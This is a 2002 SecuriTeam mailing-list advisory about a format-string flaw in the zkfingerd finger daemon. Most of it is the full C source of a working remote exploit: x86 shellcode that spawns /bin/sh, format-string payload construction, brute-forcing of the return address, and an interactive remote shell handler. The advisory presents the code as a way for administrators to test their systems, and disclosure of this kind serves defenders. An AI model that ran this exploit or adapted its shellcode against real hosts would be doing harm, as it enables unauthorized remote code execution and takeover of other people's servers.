

[EXPL] zkfingerd Remote Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-12/0085.html>

From: support@securiteam.com

Date: 12/25/02

From: support@securiteam.com

To: list@securiteam.com

Date: 25 Dec 2002 11:11:59 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

zkfingerd Remote Exploit

SUMMARY

A remotely exploitable vulnerability in <http://sourceforge.net/projects/zkfingerd> allows remote attackers to cause it to execute arbitrary code, by exploiting a format string attack. The following exploit code will allow administrators to test their system for the mentioned vulnerability.

DETAILS

Exploit:

/*

*

* remote exploit for zkfingerd-r3-0.9 linux/x86

* gives uid of user who is running zkfingerd (default: nobody)

* by Marceta Milos

* root@marcetam.net

*

* use this for educational propouses only!

*

* For local attack, response based method could be used, but for

* remote we can use blind brute force method.

*

Securiteam: [EXPL] zkfingerd Remote Exploit

```
* greets to scut, DeadMaker, stinger, harada and all others.  
*  
*/
```

```
#include<stdio.h>  
#include<string.h>  
#include<stdlib.h>  
#include<unistd.h>  
#include<sys/socket.h>  
#include<arpa/inet.h>  
#include<netdb.h>
```

```
#define Kb 1024  
#define PORT 79
```

```
#define green "\x1B[1;32m"  
#define def "\x1B[0;37m"  
#define wh "\x1B[1;37m"
```

```
#define SHOFF 576  
#define RETLOC 0xbffff970 /* Slackware 8.0 */  
#define FMT "\x25\x25\x2e\x25\x64\x75\x25\x25\x68\x6e"  
#define DIG8 "\x25\x2e\x66"  
#define NOP "\x90"
```

```
char linux_x86_wrx[]=
```

```
"\x6a\x01" /* push $0x1 */  
"\x5b" /* pop %ebx */  
"\xb8\x0b\x6e\x4e\x0b" /* mov $0x0b4e6e0b,%eax */  
"\x2d\x01\x01\x01\x01" /* sub $0x01010101,%eax */  
"\x50" /* push %eax */  
"\x89\xe1" /* mov %esp,%ecx */  
"\x6a\x04" /* push $0x4 */  
"\x58" /* pop %eax */  
"\x89\xc2" /* mov %eax,%edx */  
"\xcd\x80" /* int $0x80 */  
"\xeb\x0c" /* jmp 12 */  
"\x4b" /* dec %ebx */  
"\xf7\xe3" /* mul %ebx */  
"\xfe\xca" /* dec %dl */  
"\x59" /* pop %ecx */  
"\xb0\x03" /* movb $0x3,%al */  
"\xcd\x80" /* int $0x80 */  
"\xeb\x05" /* jmp $0x05 */  
"\xe8\xef\xff\xff\xff"; /* call -17 */
```

```
char linux_x86_execve[]=
```

```
"\x6a\x0b" /* push $0x0b */  
"\x58" /* pop %eax */
```

Securiteam: [EXPL] zkfingerd Remote Exploit

```
"\x99" /* cdq */
"\x52" /* push %edx */
"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
"\x89\xe3" /* mov %esp,%ebx */
"\x52" /* push %edx */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\xcd\x80"; /* int $0x80 */

struct wr_addr {
    int low;
    int high;
} addr;

int host_connect(char *, unsigned short int);
unsigned long int resolve(char *);

void usage(char *);
void exploit(char *, unsigned short int, unsigned long int);
void shell(int);

struct wr_addr convert_addr(unsigned long);

char sendbuf[Kb];
char recvbuf[Kb];

char *target = "127.0.0.1";
unsigned short int port = PORT;
unsigned long retloc = RETLOC;
unsigned short int brute= 0;

int main(int argc, char **argv, char **env) {

char c;

printf("wh\n remote nobody exploit for zkfingerd-r3-0.9 by
marcetam."def"\n\n");

if (argc<2)
usage(argv[0]);

while ((c = getopt(argc, argv, "h:p:b:")) != EOF) {

switch (c) {

case 'h':
target = optarg;
break;

case 'p':
port = (short)atoi(optarg);
```

Securiteam: [EXPL] zkfingerd Remote Exploit

```
break;
    case 'b':
retloc = strtoul(optarg, &optarg,16);
brute = 1;
break;
default:
usage(argv[0]);
    break;
    }
}
printf(" target is : \n\n");
printf(" host : "wh"%s"def"\n",target);
printf(" port : "wh"%hu"def"\n",port);
printf(" ret : "wh"%#lx"def"\n\n",retloc);
printf(" attacking ... ");

if (brute != 0) {

while(1) {

printf("trying ret : %#lx\n", retloc);
sleep(1);
exploit(target, port, retloc);
retloc -= 1;
};
} else exploit(target, port, retloc);

return(0);
}

void usage(char *name){

    fprintf(stderr, " usage: %s -h <hostname> -p <port> -b
<addr>\n\n",name);
    fprintf(stderr, " -h host\t target hostname (default 127.0.0.1)\n"
" -p port\t port number (default 79)\n"
" -b addr\t brute force retloc starting from addr\n"
"\t\t WARNING : this will flood logfile\n\n");

    exit(EXIT_FAILURE);
}

void exploit(char *hostname, unsigned short int port, unsigned long int
retaddr){

    unsigned long *ptr;

char ret[4],
*chr;
```

Securiteam: [EXPL] zkfingerd Remote Exploit

```
int i,
fd;

bzero(sendbuf, Kb);
bzero(recvbuf, Kb);
bzero(ret, 4);

fd = host_connect(hostname, port);

ptr = (long *)ret;
*(ptr) = retaddr;
ret[sizeof(ret)] = '\0';

for(i = 0; i < 3; i++)
strcat(sendbuf, ret);
ret[0] += 2;
strcat(sendbuf, ret);

for(i = 0; i < 40; i++)
strcat(sendbuf, DIG8);

addr = convert_addr(retaddr + SHOFF);
sprintf(sendbuf + strlen(sendbuf), FMT, addr.low);
sprintf(sendbuf + strlen(sendbuf), FMT, addr.high);
chr = sendbuf + strlen(sendbuf);

for(i = 0; i < 128; i++)
strcat(sendbuf, NOP);

strcat(sendbuf, linux_x86_wrx);
write(fd, sendbuf, Kb);
read(fd, recvbuf, Kb);

if (strcmp(recvbuf, "\nmM\n") == 0) {

printf(green"YEAH!\n"def);
sleep(1);
printf(" sending shellcode. \n");
write(fd, linux_x86_execve, sizeof(linux_x86_execve));
printf(" starting shell #\n"def);
write(fd, "\n", 1);
write(fd, "uname -a;id\n", 12);
shell(fd);
}
else printf(wh" failed.\n\n"def);
}

struct wr_addr convert_addr(unsigned long addr) {

struct wr_addr target;
```

Securiteam: [EXPL] zkfingerd Remote Exploit

```
target.low = (addr & 0x0000ffff);
target.high = (addr & 0xffff0000) >> 16;

if (target.high > target.low)
target.high -= target.low;
else {
target.high += 0x10000;
target.high -= target.low;
}
target.low -= 0x58;
return(target);
}

unsigned long int resolve(char *hostname) {

struct hostent *host;
long r;

r = inet_addr(hostname);

if (r == -1) {
host = gethostbyname(hostname);
if (host == NULL) {
return(0);
} else {
return(*(unsigned long *)host->h_addr);
}
}
return(r);
}

int host_connect(char *hostname, unsigned short int port) {

    struct sockaddr_in sa;
int fd;

    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    fd = socket(AF_INET, SOCK_STREAM, 0);

    if (fd == -1)
return(fd);

if (!(sa.sin_addr.s_addr = resolve(hostname))) {
close(fd);
return(-1);
}

if (connect(fd, (struct sockaddr *)&sa, sizeof(struct sockaddr_in)) < 0) {
perror("connect");
close(fd);
}
```

Securiteam: [EXPL] zkfingerd Remote Exploit

```
return(-1);
    }

    return(fd);
}

void shell(int fd) {

char buf[512];
int l;
    fd_set fds;

    while (1) {

        FD_SET(0, &fds);
        FD_SET(fd, &fds);

        select(fd + 1, &fds, NULL, NULL, NULL);

        if (FD_ISSET(0, &fds)) {
            l = read(0, buf, sizeof (buf));
            if (l <= 0) {
                perror("read user");
                exit(EXIT_FAILURE);
            }
            write(fd, buf, l);
        }

        if (FD_ISSET(fd, &fds)) {
            l = read(fd, buf, sizeof (buf));
            if (l == 0) {
                printf("connection closed by foreign
host.\n");
                exit(EXIT_FAILURE);
            } else if (l < 0) {
                perror("read remote");
                exit(EXIT_FAILURE);
            }
            write(1, buf, l);
        }
    }
}

/* www.marctam.net */
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:root@marcetam.net>> Marceta Milos.

Securiteam: [EXPL] zkfingerd Remote Exploit

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.